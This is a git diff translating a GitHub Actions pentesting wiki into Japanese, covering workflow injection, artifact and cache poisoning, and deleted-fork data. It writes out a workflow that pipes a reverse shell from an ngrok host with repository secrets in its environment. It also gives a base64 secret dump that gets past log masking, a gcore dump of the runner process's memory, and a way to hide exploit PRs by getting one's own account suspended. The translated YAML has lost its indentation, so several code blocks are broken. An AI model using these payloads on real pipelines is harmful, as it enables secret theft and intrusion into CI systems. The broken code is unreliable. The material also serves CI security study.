コードから **`workflow_run`** ワークフローに **アーティファクト** を **渡す** ことと、このアーティファクトの内容を **RCEに対して脆弱** な方法で使用することです。 ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: `pull_request` から実行された場合、使用/ダウンロードされたコードが元のものであるかフォークされたPRのものであるかを確認する -## Abusing Forked Execution +## フォークされた実行の悪用 -We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: +外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合、どのように悪用される可能性があるかを見てみましょう。 -### Untrusted checkout execution +### 信頼できないチェックアウト実行 -In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request). +**`pull_request`** の場合、ワークフローは **PRのコンテキスト** で実行されるため（**悪意のあるPRのコード** を実行します）、誰かが **最初に承認する必要があります** そして、いくつかの [制限](./#pull_request) で実行されます。 -In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. +**`pull_request_target` または `workflow_run`** を使用するワークフローが **`pull_request_target` または `pull_request`** からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。 > [!CAUTION] -> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): +> ただし、**アクション** に **明示的なPRチェックアウト** があり、**PRからコードを取得する**（ベースからではなく）場合、攻撃者が制御するコードが使用されます。例えば（PRコードがダウンロードされる行12を確認）: 
# INSECURE. Provided as an example only.
 on:
-  pull_request_target
+pull_request_target
 
 jobs:
-  build:
-    name: Build and test
-    runs-on: ubuntu-latest
-    steps:
+build:
+name: Build and test
+runs-on: ubuntu-latest
+steps:
     - uses: actions/checkout@v2
       with:
         ref: ${{ github.event.pull_request.head.sha }}
 
-    - uses: actions/setup-node@v1
-    - run: |
-        npm install
-        npm build
+- uses: actions/setup-node@v1
+- run: |
+npm install
+npm build
 
-    - uses: completely/fakeaction@v2
-      with:
-        arg1: ${{ secrets.supersecret }}
+- uses: completely/fakeaction@v2
+with:
+arg1: ${{ secrets.supersecret }}
 
-    - uses: fakerepo/comment-on-pr@v1
-      with:
-        message: |
-          Thank you!
+- uses: fakerepo/comment-on-pr@v1
+with:
+message: |
+Thank you!
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +潜在的に **信頼できないコードは `npm install` または `npm build` の間に実行されます**。ビルドスクリプトと参照された **パッケージはPRの著者によって制御されています**。 > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> 脆弱なアクションを検索するためのGitHubドークは: `event.pull_request pull_request_target extension:yml` ですが、アクションが不適切に構成されていても、実行されるジョブを安全に構成する方法はいくつかあります（PRを生成するアクターが誰であるかに関する条件を使用するなど）。 -### Context Script Injections +### コンテキストスクリプトインジェクション -Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** +特定の [**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) の値は、PRを作成する **ユーザー** によって **制御されている** ことに注意してください。GitHubアクションがその **データを使用して何かを実行する** 場合、**任意のコード実行** に繋がる可能性があります: {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Script Injection** +### **GITHUB_ENV スクリプトインジェクション** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +ドキュメントによると: 環境変数を定義または更新し、これを **`GITHUB_ENV`** 環境ファイルに書き込むことで、ワークフロージョブの後続のステップで **環境変数を利用可能にする** ことができます。 -If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. +攻撃者がこの **env** 変数内に **任意の値を注入** できる場合、**LD_PRELOAD** や **NODE_OPTIONS** のようなコードを実行する環境変数を注入することができます。 -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +例えば ([**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project))、アップロードされたアーティファクトを信頼してその内容を **`GITHUB_ENV`** 環境変数に保存するワークフローを想像してください。攻撃者はこれを妥協するために次のようなものをアップロードできます:
-### Vulnerable Third Party Github Actions +### 脆弱なサードパーティのGitHubアクション #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +[**このブログ投稿**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) で述べたように、このGitHubアクションは異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。 -The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. - -Example of vulnerable workflow: +問題は、**`path`** パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用または実行される可能性のあるファイルを上書きできることです。したがって、アーティファクトが脆弱な場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協させることができます。 +脆弱なワークフローの例: ```yaml on: - workflow_run: - workflows: ["some workflow"] - types: - - completed +workflow_run: +workflows: ["some workflow"] +types: +- completed jobs: - success: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - name: download artifact - uses: dawidd6/action-download-artifact - with: - workflow: ${{ github.event.workflow_run.workflow_id }} - name: artifact - - run: python ./script.py - with: - name: artifact - path: ./script.py +success: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@v2 +- name: download artifact +uses: dawidd6/action-download-artifact +with: +workflow: ${{ github.event.workflow_run.workflow_id }} +name: artifact +- run: python ./script.py +with: +name: artifact +path: ./script.py ``` - -This could be attacked with this workflow: - +このワークフローを使って攻撃することができます： ```yaml name: "some workflow" on: pull_request jobs: - upload: - runs-on: ubuntu-latest - steps: - - run: echo "print('exploited')" > ./script.py - - uses actions/upload-artifact@v2 - with: - name: artifact - path: ./script.py +upload: +runs-on: ubuntu-latest +steps: +- run: echo "print('exploited')" > ./script.py +- uses actions/upload-artifact@v2 +with: +name: artifact +path: ./script.py ``` - --- -## Other External Access +## その他の外部アクセス -### Deleted Namespace Repo Hijacking +### 削除された名前空間のリポジトリハイジャック -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +アカウントが名前を変更すると、他のユーザーがその名前でアカウントを登録できるようになります。リポジトリが名前変更前に**100スター未満**だった場合、Githubは同じ名前の新しい登録ユーザーに**削除されたリポジトリと同じ名前のリポジトリを作成する**ことを許可します。 > [!CAUTION] -> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. +> したがって、アクションが存在しないアカウントのリポジトリを使用している場合、攻撃者がそのアカウントを作成し、アクションを妨害する可能性があります。 -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +他のリポジトリが**このユーザーのリポジトリからの依存関係を使用している**場合、攻撃者はそれらをハイジャックできるようになります。こちらにより詳細な説明があります: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- -## Repo Pivoting +## リポジトリピボティング > [!NOTE] -> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). +> このセクションでは、最初のリポジトリに何らかのアクセス権があると仮定して、**1つのリポジトリから別のリポジトリにピボットする**技術について説明します（前のセクションを確認してください）。 -### Cache Poisoning +### キャッシュポイズニング -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +キャッシュは**同じブランチ内のワークフロー実行間で維持されます**。つまり、攻撃者が**パッケージを妨害**し、それがキャッシュに保存され、**より特権のある**ワークフローによって**ダウンロード**および実行されると、そのワークフローも**妨害**される可能性があります。 {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Artifact Poisoning +### アーティファクトポイズニング -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +ワークフローは**他のワークフローやリポジトリからのアーティファクトを使用する**ことができます。攻撃者が**アーティファクトをアップロードするGithub Actionを妨害**することに成功すれば、他のワークフローを**妨害**することができます： {{#ref}} gh-actions-artifact-poisoning.md @@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md --- -## Post Exploitation from an Action +## アクションからのポストエクスプロイテーション -### Accessing AWS and GCP via OIDC +### OIDCを介したAWSおよびGCPへのアクセス -Check the following pages: +以下のページを確認してください： {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -408,170 +390,160 @@ Check the following pages: ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Accessing secrets +### 秘密へのアクセス -If you are injecting content into a script it's interesting to know how you can access secrets: +スクリプトにコンテンツを注入している場合、秘密にアクセスする方法を知っておくと興味深いです： -- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**. +- 秘密またはトークンが**環境変数**に設定されている場合、**`printenv`**を使用して環境を介して直接アクセスできます。
-List secrets in Github Action output - +Github Action出力の秘密をリストする ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - '**' - push: # Run it when a push is made to a branch - branches: - - '**' +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- '**' +push: # Run it when a push is made to a branch +branches: +- '**' jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +シークレットを使ってリバースシェルを取得 ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - - ```bash - cat /home/runner/work/_temp/* - ``` -- For a JavaScript actions the secrets and sent through environment variables - - ```bash - ps axe | grep node - ``` -- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: +- シークレットが**式に直接使用される**場合、生成されたシェルスクリプトは**ディスク上**に保存され、アクセス可能です。 +- ```bash +cat /home/runner/work/_temp/* +``` +- JavaScriptアクションの場合、シークレットは環境変数を通じて送信されます。 +- ```bash +ps axe | grep node +``` +- **カスタムアクション**の場合、リスクはプログラムが**引数**から取得したシークレットをどのように使用するかによって異なります： - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` +```yaml +uses: fakeaction/publish@v3 +with: +key: ${{ secrets.PUBLISH_KEY }} +``` -### Abusing Self-hosted runners +### セルフホステッドランナーの悪用 -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. +**Github Actionsが非Githubインフラストラクチャで実行されている**かを見つける方法は、Github Action構成yaml内で**`runs-on: self-hosted`**を検索することです。 -**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. - -In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: +**セルフホステッド**ランナーは、**追加の機密情報**や他の**ネットワークシステム**（ネットワーク内の脆弱なエンドポイント？メタデータサービス？）にアクセスできる可能性があります。また、隔離されて破棄されていても、**同時に複数のアクションが実行される可能性**があり、悪意のあるアクションが他のアクションの**シークレットを盗む**ことができます。 +セルフホステッドランナーでは、**\_Runner.Listener**\_\*\*プロセスから**シークレットを取得する**ことも可能で、これは任意のステップでワークフローのすべてのシークレットをメモリをダンプすることで含むことができます： ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` - -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Check [**この投稿で詳細情報を確認してください**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry -It's possible to make Github actions that will **build and store a Docker image inside Github**.\ -An example can be find in the following expandable: +Github内に**Dockerイメージをビルドして保存する**Githubアクションを作成することが可能です。\ +以下の展開可能な例を参照してください:
Github Action Build & Push Docker Image - ```yaml [...] - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 +uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry - uses: docker/login-action@v1 - with: - registry: ghcr.io - username: ${{ github.repository_owner }} - password: ${{ secrets.ACTIONS_TOKEN }} +uses: docker/login-action@v1 +with: +registry: ghcr.io +username: ${{ github.repository_owner }} +password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code - run: | - sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile +run: | +sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push - uses: docker/build-push-action@v2 - with: - context: . - push: true - tags: | - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} +uses: docker/build-push-action@v2 +with: +context: . +push: true +tags: | +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ``` -
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**. - -A user with read permissions over the repo will then be able to download the Docker Image using a personal access token: +前のコードで見たように、Githubレジストリは**`ghcr.io`**にホストされています。 +リポジトリに対する読み取り権限を持つユーザーは、個人アクセストークンを使用してDockerイメージをダウンロードできるようになります： ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` - Then, the user could search for **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}} -### Sensitive info in Github Actions logs +### Github Actionsログの機密情報 -Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +たとえ**Github**がアクションログ内の**秘密の値**を**検出しようとし**、それらを**表示しないように**しても、アクションの実行中に生成された**他の機密データ**は隠されません。たとえば、秘密の値で署名されたJWTは、[特に設定されない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)、隠されません。 -## Covering your Tracks +## 足跡を隠す -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubでは**インターネット上のPRを削除することはできません**が、ひねりがあります。Githubによって**停止された**GitHubアカウントの場合、すべての**PRは自動的に削除**され、インターネットから取り除かれます。したがって、活動を隠すためには、**GitHubアカウントを停止させるか、アカウントをフラグ付けさせる必要があります**。これにより、インターネット上のGitHubでの**すべての活動が隠されます**（基本的にすべてのエクスプロイトPRが削除されます）。 -An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. +GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。あなたがする必要があるのは、Issueに「いくつかのもの」を共有することで、彼らは12時間以内にあなたのアカウントが停止されることを確実にします :p そして、あなたのエクスプロイトはGitHub上で見えなくなります。 > [!WARNING] -> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed. +> 組織がターゲットにされたことを把握する唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。 -## Tools +## ツール -The following tools are useful to find Github Action workflows and even find vulnerable ones: +以下のツールは、Github Actionワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます： - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index ae156de2d..dfdcd0dbe 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1,6 +1 @@ -# Gh Actions - Artifact Poisoning - - - - - +# Gh Actions - アーティファクトポイズニング diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index 024aa5ff8..40ab386fc 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1,6 +1 @@ -# GH Actions - Cache Poisoning - - - - - +# GH Actions - キャッシュポイズニング diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 3cd632bd0..afe083bc8 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1,6 +1 @@ -# Gh Actions - Context Script Injections - - - - - +# Gh Actions - コンテキストスクリプトインジェクション diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index f19fa699e..7558ae4d9 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -2,59 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Githubから削除されたとされるデータにアクセスする方法は[**このブログ記事で報告されています**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)。 ## Accessing Deleted Fork Data -1. You fork a public repository -2. You commit code to your fork -3. You delete your fork +1. 公開リポジトリをフォークします。 +2. フォークにコードをコミットします。 +3. フォークを削除します。 > [!CAUTION] -> The data commited in the deleted fork is still accessible. +> 削除されたフォークにコミットされたデータはまだアクセス可能です。 ## Accessing Deleted Repo Data -1. You have a public repo on GitHub. -2. A user forks your repo. -3. You commit data after they fork it (and they never sync their fork with your updates). -4. You delete the entire repo. +1. GitHubに公開リポジトリがあります。 +2. ユーザーがあなたのリポジトリをフォークします。 +3. 彼らがフォークした後にデータをコミットします（彼らはあなたの更新とフォークを同期しません）。 +4. リポジトリ全体を削除します。 > [!CAUTION] -> Even if you deleted your repo, all the changes made to it are still accessible through the forks. +> リポジトリを削除しても、行われたすべての変更はフォークを通じてアクセス可能です。 ## Accessing Private Repo Data -1. You create a private repo that will eventually be made public. -2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public. -3. You make your “upstream” repository public and keep your fork private. +1. 最終的に公開されるプライベートリポジトリを作成します。 +2. そのリポジトリのプライベートな内部バージョンを作成し（フォークを通じて）、公開しない機能のための追加コードをコミットします。 +3. “アップストリーム”リポジトリを公開し、フォークをプライベートに保ちます。 > [!CAUTION] -> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public. +> 内部フォークが作成された時点から公開バージョンが公開されるまでの間にプッシュされたすべてのデータにアクセスすることが可能です。 ## How to discover commits from deleted/hidden forks -The same blog post propose 2 options: +同じブログ記事は2つのオプションを提案しています： ### Directly accessing the commit -If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/` +コミットID（sha-1）値が知られている場合、`https://github.com///commit/`でアクセス可能です。 ### Brute-forcing short SHA-1 values -It's the same to access both of these: +これらの両方にアクセスするのは同じです： - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -And the latest one use a short sha-1 that is bruteforceable. +そして、最新のものはブルートフォース可能な短いsha-1を使用しています。 ## References - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index ae1365a0f..4cc12f130 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,248 +1,242 @@ -# Basic Github Information +# 基本的なGithub情報 {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## 基本構造 -The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**. +大規模な**企業**の基本的なGithub環境構造は、**エンタープライズ**を所有し、そのエンタープライズが**いくつかの組織**を所有し、それぞれの組織が**いくつかのリポジトリ**と**いくつかのチーム**を含むことです。小規模な企業は、**1つの組織とエンタープライズを持たない**場合もあります。 -From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**. +ユーザーの観点から見ると、**ユーザー**は**異なるエンタープライズや組織のメンバー**であることができます。それらの中で、ユーザーは**異なるエンタープライズ、組織、リポジトリの役割**を持つことがあります。 -Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles. +さらに、ユーザーは**異なるチームの一員**であり、異なるエンタープライズ、組織、またはリポジトリの役割を持つことがあります。 -And finally **repositories may have special protection mechanisms**. +最後に、**リポジトリには特別な保護メカニズム**がある場合があります。 -## Privileges +## 権限 -### Enterprise Roles +### エンタープライズの役割 -- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository -- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. +- **エンタープライズオーナー**: この役割を持つ人々は、**管理者を管理し、エンタープライズ内の組織を管理し、エンタープライズ設定を管理し、組織全体にポリシーを強制する**ことができます。ただし、彼らは**組織の設定やコンテンツにアクセスすることはできません**。組織のオーナーに任命されるか、組織所有のリポジトリへの直接アクセスが与えられない限り。 +- **エンタープライズメンバー**: あなたのエンタープライズが所有する組織のメンバーは、**自動的にエンタープライズのメンバー**でもあります。 -### Organization Roles +### 組織の役割 -In an organisation users can have different roles: +組織内でユーザーは異なる役割を持つことができます： -- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization. -- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**. -- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information. -- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization. - - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. -- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions. -- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization. +- **組織オーナー**: 組織オーナーは、**組織に対する完全な管理アクセス権**を持っています。この役割は制限されるべきですが、組織内で2人以上の人に制限する必要があります。 +- **組織メンバー**: **デフォルト**の非管理者役割は**組織メンバー**です。デフォルトでは、組織メンバーは**いくつかの権限を持っています**。 +- **請求管理者**: 請求管理者は、**組織の請求設定を管理できるユーザー**です。たとえば、支払い情報など。 +- **セキュリティマネージャー**: 組織オーナーが組織内の任意のチームに割り当てることができる役割です。適用されると、チームのすべてのメンバーに**組織全体のセキュリティアラートや設定を管理する権限、ならびに組織内のすべてのリポジトリに対する読み取り権限**が与えられます。 +- 組織にセキュリティチームがある場合、セキュリティマネージャーの役割を使用して、チームのメンバーに組織に必要な最小限のアクセスを与えることができます。 +- **Githubアプリ管理者**: 組織が所有する**GitHubアプリを管理するために追加のユーザーを許可する**ために、オーナーはGitHubアプリ管理者の権限を付与できます。 +- **外部コラボレーター**: 外部コラボレーターは、**1つ以上の組織リポジトリにアクセスできるが、明示的に組織のメンバーではない**人です。 -You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +これらの役割の**権限を比較する**ことができる表があります: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +### メンバーの権限 -In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**. +_https://github.com/organizations/\/settings/member_privileges_ では、**組織の一部であることによってユーザーが持つ権限**を見ることができます。 -The settings here configured will indicate the following permissions of members of the organisation: +ここで設定された内容は、組織のメンバーの以下の権限を示します： -- Be admin, writer, reader or no permission over all the organisation repos. -- If members can create private, internal or public repositories. -- If forking of repositories is possible -- If it's possible to invite outside collaborators -- If public or private sites can be published -- The permissions admins has over the repositories -- If members can create new teams +- 組織のすべてのリポジトリに対する管理者、ライター、リーダー、または無権限であること。 +- メンバーがプライベート、内部、またはパブリックリポジトリを作成できるかどうか。 +- リポジトリのフォークが可能かどうか。 +- 外部コラボレーターを招待できるかどうか。 +- 